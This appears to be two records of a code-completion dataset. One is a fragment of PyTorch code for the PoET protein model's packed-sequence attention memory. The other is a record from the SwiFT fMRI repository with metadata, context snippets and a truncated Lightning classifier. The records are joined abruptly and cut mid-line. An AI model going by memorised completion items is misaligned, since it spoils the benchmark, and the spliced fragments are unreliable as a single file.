are 1. """ L_x = length for mem in memory: mem.x = mem.x[: mem.max_s + L_x] mem.positions = mem.positions[: mem.max_s + L_x] mem.cu_seqlens = torch.tensor( [0, mem.max_s + L_x], device=mem.cu_seqlens.device ) mem.cu_seqlens_cpu = torch.tensor( [0, mem.max_s + L_x], device=mem.cu_seqlens_cpu.device ) mem.max_s = mem.max_s + L_x mem.to_paddedable = False return memory @staticmethod def _logits_allocate_memory( memory: list[PackedTensorSequences], batch_size: int, length: int, ) -> list[PackedTensorSequences]: B, L_x = batch_size, length for mem in memory: if L_x >= 0: mem.x = ( torch.cat( [ mem.x[: mem.max_s], torch.empty( (L_x, mem.x.size(1), mem.x.size(2)), dtype=mem.x.dtype, device=mem.x.device, ), ], dim=0, ) .expand(B, -1, -1, -1) .flatten(start_dim=0, end_dim=1) ) mem.positions = torch.cat( ( mem.positions[: mem.max_s].unsqueeze(0).expand(B, mem.max_s), torch.arange(L_x, device=mem.positions.device) .unsqueeze(0) .expand(B, L_x), ), dim=1, ).flatten() else: mem.x = ( mem.x[: mem.max_s + L_x] .expand(B, -1, -1, -1) .flatten(start_dim=0, end_dim=1) ) mem.positions = ( mem.positions[: mem.max_s + L_x] .expand(B, mem.max_s + L_x) .flatten() ) mem.cu_seqlens = F.pad( ( torch.full( (B,), mem.max_s + L_x, device=mem.cu_seqlens.device ).cumsum(dim=0, dtype=torch.int32) ), (1, 0), ) mem.cu_seqlens_cpu = F.pad( ( torch.full( (B,), mem.max_s + L_x, device=mem.cu_seqlens_cpu.device ).cumsum(dim=0, dtype=torch.int32) ), (1, 0), ) mem.max_s = mem.max_s + L_x mem.to_paddedable = False return memory def _packed_sequence_expand_and_append( packed_sequence: PackedTensorSequences, x: torch.Tensor, positions: Optional[torch.Tensor] = None, ) -> None: B, L = x.size(0), x.size(1) if positions is None: positions = torch.arange(L, device=x.device).unsqueeze(0).expand(B, -1) assert positions.size(0) == B assert positions.size(1) == L packed_sequence.x = torch.cat( [ packed_sequence.x.unsqueeze(0).expand(B, *packed_sequence.x.size()), x, ], dim=1, ).flatten(start_dim=0, end_dim=1) packed_sequence.positions = torch.cat( [ packed_sequence.positions.unsqueeze(0).expand(B, -1), positions, ], dim=1, ).flatten() packed_sequence.cu_seqlens = F.pad( (packed_sequence.cu_seqlens.diff() + L) .expand(B) .cumsum(dim=0, dtype=packed_sequence.cu_seqlens.dtype), (1, 0), ) packed_sequence.cu_seqlens_cpu = F.pad( (packed_sequence.cu_seqlens_cpu.diff() + L) .expand(B) .cumsum(dim=0, dtype=packed_sequence.cu_seqlens_cpu.dtype), (1, 0), ) packed_sequence.max_s = packed_sequence.max_s + L packed_sequence.to_paddedable = False def _packed_sequence_append( packed_sequence: PackedTensorSequences, x: torch.Tensor, positions: Optional[torch.Tensor] = None, ) -> None: B, L = x.size(0), x.size(1) current_batch_size = packed_sequence.cu_seqlens.numel() - 1 if current_batch_size == 1: return _packed_sequence_expand_and_append(packed_sequence, x, positions) if current_batch_size != B: raise ValueError(current_batch_size, B) if positions is None: positions = torch.arange(L, device=x.device).unsqueeze(0).expand(B, -1) assert positions.size(0) == B assert positions.size(1) == L new_x = torch.empty( (packed_sequence.x.size(0) + B * L, *packed_sequence.x.size()[1:]), device=x.device, dtype=x.dtype, ) new_cu_seqlens = F.pad( (packed_sequence.cu_seqlens.diff() + L).cumsum( dim=0, dtype=packed_sequence.cu_seqlens.dtype ), (1, 0), ) new_cu_seqlens_cpu = F.pad( (packed_sequence.cu_seqlens_cpu.diff() + L).cumsum( dim=0, dtype=packed_sequence.cu_seqlens_cpu.dtype ), (1, 0), ) original_idxs, new_idxs = [], [] old_lengths = packed_sequence.cu_seqlens_cpu.diff() for idx in range(new_cu_seqlens_cpu.numel() - 1): new_start = new_cu_seqlens_cpu[idx] old_length = old_lengths[idx] new_range = torch.arange(new_start, new_start + old_length + L, device=x.device) original_idxs.append(new_range[:old_length]) new_idxs.append(new_range[old_length:]) original_idxs = torch.hstack(original_idxs) new_idxs = torch.hstack(new_idxs) new_x[original_idxs] = packed_sequence.x new_x[new_idxs] = x.flatten(start_dim=0, end_dim=1) packed_sequence.x = new_x new_positions = torch.empty( (packed_sequence.positions.size(0) + B * L,), device=x.device, dtype=packed_sequence.positions.dtype, ) new_positions[original_idxs] = packed_sequence.positions new_positions[new_idxs] = positions.flatten() packed_sequence.positions = new_positions packed_sequence.cu_seqlens = new_cu_seqlens packed_sequence.cu_seqlens_cpu = new_cu_seqlens_cpu packed_sequence.max_s = packed_sequence.max_s + L packed_sequence.to_paddedable = False def _compute_attn_memory( x_norm: PackedTensorSequences, attn: MultiheadAttention ) -> tuple[PackedTensorSequences, PackedTensorSequences]: """Compute the keys and values of x_norm for the the attention module attn.""" x_norm_km = attn.k_proj.forward(x_norm.x) x_norm_vm = attn.v_proj.forward(x_norm.x) x_norm_km = x_norm_km.view(-1, attn.num_heads, attn.head_dim) x_norm_vm = x_norm_vm.view(-1, attn.num_heads, attn.head_dim) _, x_norm_km, _ = attn._transform_qkv( None, x_norm_km, None, query_positions=x_norm.positions, key_positions=x_norm.positions, transform_query=False, transform_key=True, transform_value=False, ) x_norm_key, x_norm_value = copy.copy(x_norm), copy.copy(x_norm) x_norm_key.x, x_norm_value.x = x_norm_km, x_norm_vm return x_norm_key, x_norm_value def _update_causal_prefix_memory( x_norm: PackedTensorSequences, x_norm_km: torch.Tensor, x_norm_vm: torch.Tensor, key_memory: PackedTensorSequences, value_memory: PackedTensorSequences, batch_size: int, length: int, preallocated_memory: bool, ) -> tuple[PackedTensorSequences, PackedTensorSequences]: B, L_x = batch_size, length if preallocated_memory: this_memory_batch_size = key_memory.cu_seqlens.shape[0] - 1 if this_memory_batch_size != B: for _memory in [key_memory, value_memory]: _memory.x = _memory.x.view( this_memory_batch_size, -1, _memory.x.size(1), _memory.x.size(2), )[:B].view(-1, _memory.x.size(1), _memory.x.size(2)) _memory.positions = _memory.positions.view(this_memory_batch_size, -1)[ :B ].flatten() _memory.cu_seqlens = _memory.cu_seqlens[: B + 1] _memory.cu_seqlens_cpu = _memory.cu_seqlens_cpu[: B + 1] key_memory.x.view(B, -1, key_memory.x.size(1), key_memory.x.size(2))[ :, -L_x: ] = x_norm_km.view(B, L_x, key_memory.x.size(1), key_memory.x.size(2)) value_memory.x.view(B, -1, value_memory.x.size(1), value_memory.x.size(2))[ :, -L_x: ] = x_norm_vm.view(B, L_x, value_memory.x.size(1), value_memory.x.size(2)) elif ( key_memory.cu_seqlens.numel() == 2 and key_memory.cu_seqlens.numel() - 1 < batch_size ): # batch size of memory and data to append are different # assume memory needs to be duplicated for _memory, _m in zip([key_memory, value_memory], [x_norm_km, x_norm_vm]): _memory.x = torch.cat( ( _memory.x.unsqueeze(0).expand( B, _memory.max_s, _memory.x.size(1), _memory.x.size(2), ), _m.view(B, L_x, _memory.x.size(1), _memory.x.size(2)), ), dim=1, ).view(-1, _memory.x.size(1), _memory.x.size(2)) _memory.positions = torch.cat( ( _memory.positions.unsqueeze(0).expand(B, _memory.max_s), x_norm.positions.view(B, L_x), ), dim=1, ).flatten() _memory.cu_seqlens = F.pad( ( torch.ones((B,), device=x_norm.x.device) .fill_(L_x + _memory.cu_seqlens[1]) .cumsum(dim=0, dtype=torch.int32) ), (1, 0), ) _memory.cu_seqlens_cpu = F.pad( ( torch.ones((B,)) .fill_(L_x + _memory.cu_seqlens_cpu[1]) .cumsum(dim=0, dtype=torch.int32) ), (1, 0), ) _memory.max_s = _memory.max_s + L_x elif key_memory.cu_seqlens.numel() - 1 == batch_size: for _memory, _m in zip([key_memory, value_memory], [x_norm_km, x_norm_vm]): _packed_sequence_append( _memory, _m.unflatten(0, (batch_size, length)), x_norm.positions.unflatten(0, (batch_size, length)), ) else: raise ValueError return key_memory, value_memory def _apply_causal_prefix_attention( decoder: TransformerEncoder, x: PackedTensorSequences, batch_size: int, length: int, self_memory: Optional[list[PackedTensorSequences]], memory: Optional[list[PackedTensorSequences]], preallocated_memory: bool, ) -> tuple[ PackedTensorSequences, Optional[list[PackedTensorSequences]], Optional[list[PackedTensorSequences]], ]: B, L_x = batch_size, length for layer_idx, layer in enumerate(decoder.layers): layer: TieredRotaryTransformerEncoderLayer # apply the self attention layer on the sequences independently x_norm = copy.copy(x) x_norm.x = layer.norm1.forward(x.x) x_norm_key, x_norm_value = _compute_attn_memory(x_norm, layer.self_attn) if self_memory is not None: key_memory, value_memory = ( copy.copy(self_memory[2 * layer_idx]), copy.copy(self_memory[2 * layer_idx + 1]), ) key_memory.x, value_memory.x = ( key_memory.x.to(x.x.device), value_memory.x.to(x.x.device), ) key_memory, value_memory = _update_causal_prefix_memory( x_norm=x_norm, x_norm_km=x_norm_key.x, x_norm_vm=x_norm_value.x, key_memory=key_memory, value_memory=value_memory, batch_size=B, length=L_x, preallocated_memory=preallocated_memory, ) else: key_memory, value_memory = x_norm_key, x_norm_value try: layer.self_attn.self_attention = False x2: torch.Tensor x2, _ = layer.self_attn.forward_packed( x_norm, key_memory, value_memory, attn_mask=None, key_padding_mask=None, return_weights=False, transform_query=True, transform_key=False, transform_value=False, ) finally: layer.self_attn.self_attention = True x = copy.copy(x) x.x = x.x + layer.dropout1.forward(x2.x) # apply the sequence-of-sequence attention layer on the reshaped sequences x_norm = copy.copy(x) x_norm.x = layer.norm2.forward(x.x) x_norm_key, x_norm_value = _compute_attn_memory(x_norm, layer.multihead_attn) if memory is not None: key_memory, value_memory = ( copy.copy(memory[2 * layer_idx]), copy.copy(memory[2 * layer_idx + 1]), ) key_memory.x, value_memory.x = ( key_memory.x.to(x.x.device), value_memory.x.to(x.x.device), ) key_memory, value_memory = _update_causal_prefix_memory( x_norm=x_norm, x_norm_km=x_norm_key.x, x_norm_vm=x_norm_value.x, key_memory=key_memory, value_memory=value_memory, batch_size=B, length=L_x, preallocated_memory=preallocated_memory, ) else: key_memory, value_memory = x_norm_key, x_norm_value try: layer.multihead_attn.self_attention = False x2: torch.Tensor x2, _ = layer.multihead_attn.forward_packed( x_norm, key_memory, value_memory, attn_mask=None, key_padding_mask=None, return_weights=False, transform_query=True, transform_key=False, transform_value=False, ) finally: layer.multihead_attn.self_attention = True x = copy.copy(x) x.x = x.x + layer.dropout2.forward(x2.x) x2 = layer.linear2(layer.dropout(gelu(layer.linear1(layer.norm3(x.x))))) x.x = x.x + layer.dropout3(x2) return x def _apply_causal_prefix_attention_buffered( decoder: TransformerEncoder, x: PackedTensorSequences, memory: Optional[list[PackedTensorSequences]], self_buffer: list[torch.Tensor], buffer: list[torch.Tensor], ) -> PackedTensorSequences: """ does not implement self_memory b/c we won't be testing that code path atm also, it technically requires more calculations relating to position to make the code "look right", even though it is not necessary to do for RoPE """ for layer_idx, layer in enumerate(decoder.layers): layer: TieredRotaryTransformerEncoderLayer # apply the self attention layer on the sequences independently x_norm = copy.copy(x) x_norm.x = layer.norm1.forward(x.x) x_norm_key, x_norm_value = _compute_attn_memory(x_norm, layer.self_attn) key_buffer, value_buffer = ( self_buffer[2 * layer_idx], self_buffer[2 * layer_idx + 1], ) key_buffer[:, -1], value_buffer[:, -1] = x_norm_key.x, x_norm_value.x key_memory = PackedTensorSequences.pack_input(key_buffer) value_memory = PackedTensorSequences.pack_input(value_buffer) key_memory.x = key_memory.x.unflatten(1, (x_norm_key.x.size(1), -1)) value_memory.x = value_memory.x.unflatten(1, (x_norm_value.x.size(1), -1)) try: layer.self_attn.self_attention = False x2: torch.Tensor x2, _ = layer.self_attn.forward_packed( x_norm, key_memory, value_memory, attn_mask=None, key_padding_mask=None, return_weights=False, transform_query=True, transform_key=False, transform_value=False, ) finally: layer.self_attn.self_attention = True x = copy.copy(x) x.x = x.x + layer.dropout1.forward(x2.x) # apply the sequence-of-sequence attention layer on the reshaped sequences x_norm = copy.copy(x) x_norm.x = layer.norm2.forward(x.x) x_norm_key, x_norm_value = _compute_attn_memory(x_norm, layer.multihead_attn) key_buffer, value_buffer = ( buffer[2 * layer_idx], buffer[2 * layer_idx + 1], ) key_buffer[:, -1], value_buffer[:, -1] = x_norm_key.x, x_norm_value.x if memory is not None: key_memory, value_memory = ( copy.copy(memory[2 * layer_idx]), copy.copy(memory[2 * layer_idx + 1]), ) key_memory.x, value_memory.x = ( key_memory.x.to(x.x.device), value_memory.x.to(x.x.device), ) _packed_sequence_append(key_memory, x=key_buffer) _packed_sequence_append(value_memory, x=value_buffer) else: # TODO: this code path may be untested key_memory = PackedTensorSequences.pack_input(key_buffer) value_memory = PackedTensorSequences.pack_input(value_buffer) key_memory.x = key_memory.x.unflatten(1, (x_norm_key.x.size(1), -1)) value_memory.x = value_memory.x.unflatten(1, (x_norm_value.x.size(1), -1)) try: layer.multihead_attn.self_attention = False x2: torch.Tensor x2, _ = layer.multihead_attn.forward_packed( x_norm, key_memory, value_memory, attn_mask=None, key_padding_mask=None, return_weights=False, transform_query=True, transform_key=False, transform_value=False, ) finally: layer.multihead_attn.self_attention = True x = copy.copy(x) x.x = x.x + layer.dropout2.forward(x2.x) x2 = layer.linear2(layer.dropout(gelu(layer.linear1(layer.norm3(x.x))))) x.x = x.x + layer.dropout3(x2) return x class PoET(nn.Module, LogitsAllocateMemoryMixin): def __init__( self, n_vocab: int, hidden_dim: int = 768, ff_dim: Optional[int] = None, num_layers: int = 6, nhead: int = 12, dropout: float = 0, use_multi_rotary: bool = True, norm: bool = False, mask_token: int = 21, # kept just to maintain compatability with old models ): super().__init__() self.n_vocab = n_vocab self.hidden_dim = hidden_dim self.dropout = dropout self.token_embed = nn.Embedding(n_vocab, hidden_dim) # kept just to maintain compatability with old models self.rotary_emb = RotaryEmbedding(hidden_dim // nhead) ff_dim = ff_dim or 4 * hidden_dim self.decoder = TransformerEncoder( encoder_layer=TieredRotaryTransformerEncoderLayer( d_model=hidden_dim, nhead=nhead, dim_feedforward=ff_dim, dropout=dropout, use_multi_rotary=use_multi_rotary, batch_first=True, causal=True, ), num_layers=num_layers, ) if norm: self.norm = nn.LayerNorm(hidden_dim) else: self.norm = nn.Identity() self.linear = nn.Linear(hidden_dim, n_vocab) def embed( self, xs: torch.Tensor, segment_sizes: torch.Tensor, allow_cpu_offload: bool = False, pbar_position: Optional[int] = None, ) -> list[PackedTensorSequences]: """ Returns the memory of each layer in a list. The memory is the input to the multi-sequence attention. Args: xs: (B, L) sequence of sequences segment_sizes: (B, N) the lengths of each sequence in the sequence of sequences allow_cpu_offload: whether or not memory should be offloaded to cpu if CUDA OOMs pbar_position: position of a tqdm progress bar if not None Returns: The memory. If allow_cpu_offload and there is insufficient GPU memory to store the tensors, the tensors will be stored in CPU memory instead. """ seqs_seqlens = segment_sizes.sum(dim=1).type(torch.int32)
xs, _, _, _ = unpad_input(xs.unsqueeze(2), ~get_mask(seqs_seqlens))
7
2023-10-28 01:30:26+00:00
12k
Transconnectome/SwiFT
project/module/pl_classifier.py
[ { "identifier": "load_model", "path": "project/module/models/load_model.py", "snippet": "def load_model(model_name, hparams=None):\n #number of transformer stages\n n_stages = len(hparams.depths)\n\n if hparams.precision == 16:\n to_float = False\n elif hparams.precision == 32:\n ...
import torch import torch.nn as nn import torch.nn.functional as F import pytorch_lightning as pl import numpy as np import os import pickle import scipy import torchmetrics import torchmetrics.classification import monai.transforms as monai_t import nibabel as nb from torchmetrics.classification import BinaryAccuracy, BinaryAUROC, BinaryROC from torchmetrics import PearsonCorrCoef # Accuracy, from sklearn.metrics import accuracy_score, balanced_accuracy_score, roc_curve from argparse import ArgumentParser, ArgumentDefaultsHelpFormatter from .models.load_model import load_model from .utils.metrics import Metrics from .utils.parser import str2bool from .utils.losses import NTXentLoss, global_local_temporal_contrastive from .utils.lr_scheduler import WarmupCosineSchedule, CosineAnnealingWarmUpRestarts from einops import rearrange from sklearn.preprocessing import LabelEncoder, StandardScaler, MinMaxScaler, KBinsDiscretizer
7,361
subj_test = np.array(subj_test) total_out_test = torch.cat(out_test_list, dim=0) # self._save_predictions(subj_test, total_out_test, mode="test") self._evaluate_metrics(subj_test, total_out_test, mode="test") def on_train_epoch_start(self) -> None: self.starter, self.ender = torch.cuda.Event(enable_timing=True), torch.cuda.Event(enable_timing=True) self.total_time = 0 self.repetitions = 200 self.gpu_warmup = 50 self.timings=np.zeros((self.repetitions,1)) return super().on_train_epoch_start() def on_train_batch_start(self, batch, batch_idx): if self.hparams.scalability_check: if batch_idx < self.gpu_warmup: pass elif (batch_idx-self.gpu_warmup) < self.repetitions: self.starter.record() return super().on_train_batch_start(batch, batch_idx) def on_train_batch_end(self, out, batch, batch_idx): if self.hparams.scalability_check: if batch_idx < self.gpu_warmup: pass elif (batch_idx-self.gpu_warmup) < self.repetitions: self.ender.record() torch.cuda.synchronize() curr_time = self.starter.elapsed_time(self.ender) / 1000 self.total_time += curr_time self.timings[batch_idx-self.gpu_warmup] = curr_time elif (batch_idx-self.gpu_warmup) == self.repetitions: mean_syn = np.mean(self.timings) std_syn = np.std(self.timings) Throughput = (self.repetitions*self.hparams.batch_size*int(self.hparams.num_nodes) * int(self.hparams.devices))/self.total_time self.log(f"Throughput", Throughput, sync_dist=False) self.log(f"mean_time", mean_syn, sync_dist=False) self.log(f"std_time", std_syn, sync_dist=False) print('mean_syn:',mean_syn) print('std_syn:',std_syn) return super().on_train_batch_end(out, batch, batch_idx) # def on_before_optimizer_step(self, optimizer, optimizer_idx: int) -> None: def configure_optimizers(self): if self.hparams.optimizer == "AdamW": optim = torch.optim.AdamW( self.parameters(), lr=self.hparams.learning_rate, weight_decay=self.hparams.weight_decay ) elif self.hparams.optimizer == "SGD": optim = torch.optim.SGD( self.parameters(), lr=self.hparams.learning_rate, weight_decay=self.hparams.weight_decay, momentum=self.hparams.momentum ) else: print("Error: Input a correct optimizer name (default: AdamW)") if self.hparams.use_scheduler: print() print("training steps: " + str(self.trainer.estimated_stepping_batches)) print("using scheduler") print() total_iterations = self.trainer.estimated_stepping_batches # ((number of samples/batch size)/number of gpus) * num_epochs gamma = self.hparams.gamma base_lr = self.hparams.learning_rate warmup = int(total_iterations * 0.05) # adjust the length of warmup here. T_0 = int(self.hparams.cycle * total_iterations) T_mult = 1 sche = CosineAnnealingWarmUpRestarts(optim, first_cycle_steps=T_0, cycle_mult=T_mult, max_lr=base_lr,min_lr=1e-9, warmup_steps=warmup, gamma=gamma) print('total iterations:',self.trainer.estimated_stepping_batches * self.hparams.max_epochs) scheduler = { "scheduler": sche, "name": "lr_history", "interval": "step", } return [optim], [scheduler] else: return optim @staticmethod def add_model_specific_args(parent_parser): parser = ArgumentParser(parents=[parent_parser], add_help=False, formatter_class=ArgumentDefaultsHelpFormatter) group = parser.add_argument_group("Default classifier") # training related group.add_argument("--grad_clip", action='store_true', help="whether to use gradient clipping") group.add_argument("--optimizer", type=str, default="AdamW", help="which optimizer to use [AdamW, SGD]") group.add_argument("--use_scheduler", action='store_true', help="whether to use scheduler") group.add_argument("--weight_decay", type=float, default=0.01, help="weight decay for optimizer") group.add_argument("--learning_rate", type=float, default=1e-3, help="learning rate for optimizer") group.add_argument("--momentum", type=float, default=0, help="momentum for SGD") group.add_argument("--gamma", type=float, default=1.0, help="decay for exponential LR scheduler") group.add_argument("--cycle", type=float, default=0.3, help="cycle size for CosineAnnealingWarmUpRestarts") group.add_argument("--milestones", nargs="+", default=[100, 150], type=int, help="lr scheduler") group.add_argument("--adjust_thresh", action='store_true', help="whether to adjust threshold for valid/test") # pretraining-related group.add_argument("--use_contrastive", action='store_true', help="whether to use contrastive learning (specify --contrastive_type argument as well)") group.add_argument("--contrastive_type", default=0, type=int, help="combination of contrastive losses to use [1: Use the Instance contrastive loss function, 2: Use the local-local temporal contrastive loss function, 3: Use the sum of both loss functions]") group.add_argument("--pretraining", action='store_true', help="whether to use pretraining") group.add_argument("--augment_during_training", action='store_true', help="whether to augment input images during training") group.add_argument("--augment_only_affine", action='store_true', help="whether to only apply affine augmentation") group.add_argument("--augment_only_intensity", action='store_true', help="whether to only apply intensity augmentation") group.add_argument("--temperature", default=0.1, type=float, help="temperature for NTXentLoss") # model related group.add_argument("--model", type=str, default="none", help="which model to be used") group.add_argument("--in_chans", type=int, default=1, help="Channel size of input image") group.add_argument("--embed_dim", type=int, default=24, help="embedding size (recommend to use 24, 36, 48)") group.add_argument("--window_size", nargs="+", default=[4, 4, 4, 4], type=int, help="window size from the second layers") group.add_argument("--first_window_size", nargs="+", default=[2, 2, 2, 2], type=int, help="first window size") group.add_argument("--patch_size", nargs="+", default=[6, 6, 6, 1], type=int, help="patch size") group.add_argument("--depths", nargs="+", default=[2, 2, 6, 2], type=int, help="depth of layers in each stage") group.add_argument("--num_heads", nargs="+", default=[3, 6, 12, 24], type=int, help="The number of heads for each attention layer") group.add_argument("--c_multiplier", type=int, default=2, help="channel multiplier for Swin Transformer architecture")
class LitClassifier(pl.LightningModule): def __init__(self,data_module, **kwargs): super().__init__() self.save_hyperparameters(kwargs) # save hyperparameters except data_module (data_module cannot be pickled as a checkpoint) # you should define target_values at the Dataset classes target_values = data_module.train_dataset.target_values if self.hparams.label_scaling_method == 'standardization': scaler = StandardScaler() normalized_target_values = scaler.fit_transform(target_values) print(f'target_mean:{scaler.mean_[0]}, target_std:{scaler.scale_[0]}') elif self.hparams.label_scaling_method == 'minmax': scaler = MinMaxScaler() normalized_target_values = scaler.fit_transform(target_values) print(f'target_max:{scaler.data_max_[0]},target_min:{scaler.data_min_[0]}') self.scaler = scaler print(self.hparams.model) self.model = load_model(self.hparams.model, self.hparams) # Heads if not self.hparams.pretraining: if self.hparams.downstream_task == 'sex' or self.hparams.downstream_task_type == 'classification' or self.hparams.scalability_check: self.output_head = load_model("clf_mlp", self.hparams) elif self.hparams.downstream_task == 'age' or self.hparams.downstream_task == 'int_total' or self.hparams.downstream_task == 'int_fluid' or self.hparams.downstream_task_type == 'regression': self.output_head = load_model("reg_mlp", self.hparams) elif self.hparams.use_contrastive: self.output_head = load_model("emb_mlp", self.hparams) else: raise NotImplementedError("output head should be defined") self.metric = Metrics() if self.hparams.adjust_thresh: self.threshold = 0 def forward(self, x): return self.output_head(self.model(x)) def augment(self, img): B, C, H, W, D, T = img.shape device = img.device img = rearrange(img, 'b c h w d t -> b t c h w d') rand_affine = monai_t.RandAffine( prob=1.0, # 0.175 rad = 10 degrees rotate_range=(0.175, 0.175, 0.175), scale_range = (0.1, 0.1, 0.1), mode = "bilinear", padding_mode = "border", device = device ) rand_noise = monai_t.RandGaussianNoise(prob=0.3, std=0.1) rand_smooth = monai_t.RandGaussianSmooth(sigma_x=(0.0, 0.5), sigma_y=(0.0, 0.5), sigma_z=(0.0, 0.5), prob=0.1) if self.hparams.augment_only_intensity: comp = monai_t.Compose([rand_noise, rand_smooth]) else: comp = monai_t.Compose([rand_affine, rand_noise, rand_smooth]) for b in range(B): aug_seed = torch.randint(0, 10000000, (1,)).item() # set augmentation seed to be the same for all time steps for t in range(T): if self.hparams.augment_only_affine: rand_affine.set_random_state(seed=aug_seed) img[b, t, :, :, :, :] = rand_affine(img[b, t, :, :, :, :]) else: comp.set_random_state(seed=aug_seed) img[b, t, :, :, :, :] = comp(img[b, t, :, :, :, :]) img = rearrange(img, 'b t c h w d -> b c h w d t') return img def _compute_logits(self, batch, augment_during_training=None): fmri, subj, target_value, tr, sex = batch.values() if augment_during_training: fmri = self.augment(fmri) feature = self.model(fmri) # Classification task if self.hparams.downstream_task == 'sex' or self.hparams.downstream_task_type == 'classification' or self.hparams.scalability_check: logits = self.output_head(feature).squeeze() #self.clf(feature).squeeze() target = target_value.float().squeeze() # Regression task elif self.hparams.downstream_task == 'age' or self.hparams.downstream_task == 'int_total' or self.hparams.downstream_task == 'int_fluid' or self.hparams.downstream_task_type == 'regression': # target_mean, target_std = self.determine_target_mean_std() logits = self.output_head(feature) # (batch,1) or # tuple((batch,1), (batch,1)) unnormalized_target = target_value.float() # (batch,1) if self.hparams.label_scaling_method == 'standardization': # default target = (unnormalized_target - self.scaler.mean_[0]) / (self.scaler.scale_[0]) elif self.hparams.label_scaling_method == 'minmax': target = (unnormalized_target - self.scaler.data_min_[0]) / (self.scaler.data_max_[0] - self.scaler.data_min_[0]) return subj, logits, target def _calculate_loss(self, batch, mode): if self.hparams.pretraining: fmri, subj, target_value, tr, sex = batch.values() cond1 = (self.hparams.in_chans == 1 and not self.hparams.with_voxel_norm) assert cond1, "Wrong combination of options" loss = 0 if self.hparams.use_contrastive: assert self.hparams.contrastive_type != "none", "Contrastive type not specified" # B, C, H, W, D, T = image shape y, diff_y = fmri batch_size = y.shape[0] if (len(subj) != len(tuple(subj))) and mode == 'train': print('Some sub-sequences in a batch came from the same subject!') criterion = NTXentLoss(device='cuda', batch_size=batch_size, temperature=self.hparams.temperature, use_cosine_similarity=True).cuda() criterion_ll = NTXentLoss(device='cuda', batch_size=2, temperature=self.hparams.temperature, use_cosine_similarity=True).cuda() # type 1: IC # type 2: LL # type 3: IC + LL if self.hparams.contrastive_type in [1, 3]: out_global_1 = self.output_head(self.model(self.augment(y)),"g") out_global_2 = self.output_head(self.model(self.augment(diff_y)),"g") ic_loss = criterion(out_global_1, out_global_2) loss += ic_loss if self.hparams.contrastive_type in [2, 3]: out_local_1 = [] out_local_2 = [] out_local_swin1 = self.model(self.augment(y)) out_local_swin2 = self.model(self.augment(y)) out_local_1.append(self.output_head(out_local_swin1, "l")) out_local_2.append(self.output_head(out_local_swin2, "l")) out_local_swin1 = self.model(self.augment(diff_y)) out_local_swin2 = self.model(self.augment(diff_y)) out_local_1.append(self.output_head(out_local_swin1, "l")) out_local_2.append(self.output_head(out_local_swin2, "l")) ll_loss = 0 # loop over batch size for i in range(out_local_1[0].shape[0]): # out_local shape should be: BS, n_local_clips, D ll_loss += criterion_ll(torch.stack(out_local_1, dim=1)[i], torch.stack(out_local_2, dim=1)[i]) loss += ll_loss result_dict = { f"{mode}_loss": loss, } else: subj, logits, target = self._compute_logits(batch, augment_during_training = self.hparams.augment_during_training) if self.hparams.downstream_task == 'sex' or self.hparams.downstream_task_type == 'classification' or self.hparams.scalability_check: loss = F.binary_cross_entropy_with_logits(logits, target) # target is float acc = self.metric.get_accuracy_binary(logits, target.float().squeeze()) result_dict = { f"{mode}_loss": loss, f"{mode}_acc": acc, } elif self.hparams.downstream_task == 'age' or self.hparams.downstream_task == 'int_total' or self.hparams.downstream_task == 'int_fluid' or self.hparams.downstream_task_type == 'regression': loss = F.mse_loss(logits.squeeze(), target.squeeze()) l1 = F.l1_loss(logits.squeeze(), target.squeeze()) result_dict = { f"{mode}_loss": loss, f"{mode}_mse": loss, f"{mode}_l1_loss": l1 } self.log_dict(result_dict, prog_bar=True, sync_dist=False, add_dataloader_idx=False, on_step=True, on_epoch=True, batch_size=self.hparams.batch_size) # batch_size = batch_size return loss def _evaluate_metrics(self, subj_array, total_out, mode): # print('total_out.device',total_out.device) # (total iteration/world_size) numbers of samples are passed into _evaluate_metrics. subjects = np.unique(subj_array) subj_avg_logits = [] subj_targets = [] for subj in subjects: #print('total_out.shape:',total_out.shape) # total_out.shape: torch.Size([16, 2]) subj_logits = total_out[subj_array == subj,0] subj_avg_logits.append(torch.mean(subj_logits).item()) subj_targets.append(total_out[subj_array == subj,1][0].item()) subj_avg_logits = torch.tensor(subj_avg_logits, device = total_out.device) subj_targets = torch.tensor(subj_targets, device = total_out.device) if self.hparams.downstream_task == 'sex' or self.hparams.downstream_task_type == 'classification' or self.hparams.scalability_check: if self.hparams.adjust_thresh: # move threshold to maximize balanced accuracy best_bal_acc = 0 best_thresh = 0 for thresh in np.arange(-5, 5, 0.01): bal_acc = balanced_accuracy_score(subj_targets.cpu(), (subj_avg_logits>=thresh).int().cpu()) if bal_acc > best_bal_acc: best_bal_acc = bal_acc best_thresh = thresh self.log(f"{mode}_best_thresh", best_thresh, sync_dist=True) self.log(f"{mode}_best_balacc", best_bal_acc, sync_dist=True) fpr, tpr, thresholds = roc_curve(subj_targets.cpu(), subj_avg_logits.cpu()) idx = np.argmax(tpr - fpr) youden_thresh = thresholds[idx] acc_func = BinaryAccuracy().to(total_out.device) self.log(f"{mode}_youden_thresh", youden_thresh, sync_dist=True) self.log(f"{mode}_youden_balacc", balanced_accuracy_score(subj_targets.cpu(), (subj_avg_logits>=youden_thresh).int().cpu()), sync_dist=True) if mode == 'valid': self.threshold = youden_thresh elif mode == 'test': bal_acc = balanced_accuracy_score(subj_targets.cpu(), (subj_avg_logits>=self.threshold).int().cpu()) self.log(f"{mode}_balacc_from_valid_thresh", bal_acc, sync_dist=True) else: acc_func = BinaryAccuracy().to(total_out.device) auroc_func = BinaryAUROC().to(total_out.device) acc = acc_func((subj_avg_logits >= 0).int(), subj_targets) #print((subj_avg_logits>=0).int().cpu()) #print(subj_targets.cpu()) bal_acc_sk = balanced_accuracy_score(subj_targets.cpu(), (subj_avg_logits>=0).int().cpu()) auroc = auroc_func(torch.sigmoid(subj_avg_logits), subj_targets) self.log(f"{mode}_acc", acc, sync_dist=True) self.log(f"{mode}_balacc", bal_acc_sk, sync_dist=True) self.log(f"{mode}_AUROC", auroc, sync_dist=True) # regression target is normalized elif self.hparams.downstream_task == 'age' or self.hparams.downstream_task == 'int_total' or self.hparams.downstream_task == 'int_fluid' or self.hparams.downstream_task_type == 'regression': mse = F.mse_loss(subj_avg_logits, subj_targets) mae = F.l1_loss(subj_avg_logits, subj_targets) # reconstruct to original scale if self.hparams.label_scaling_method == 'standardization': # default adjusted_mse = F.mse_loss(subj_avg_logits * self.scaler.scale_[0] + self.scaler.mean_[0], subj_targets * self.scaler.scale_[0] + self.scaler.mean_[0]) adjusted_mae = F.l1_loss(subj_avg_logits * self.scaler.scale_[0] + self.scaler.mean_[0], subj_targets * self.scaler.scale_[0] + self.scaler.mean_[0]) elif self.hparams.label_scaling_method == 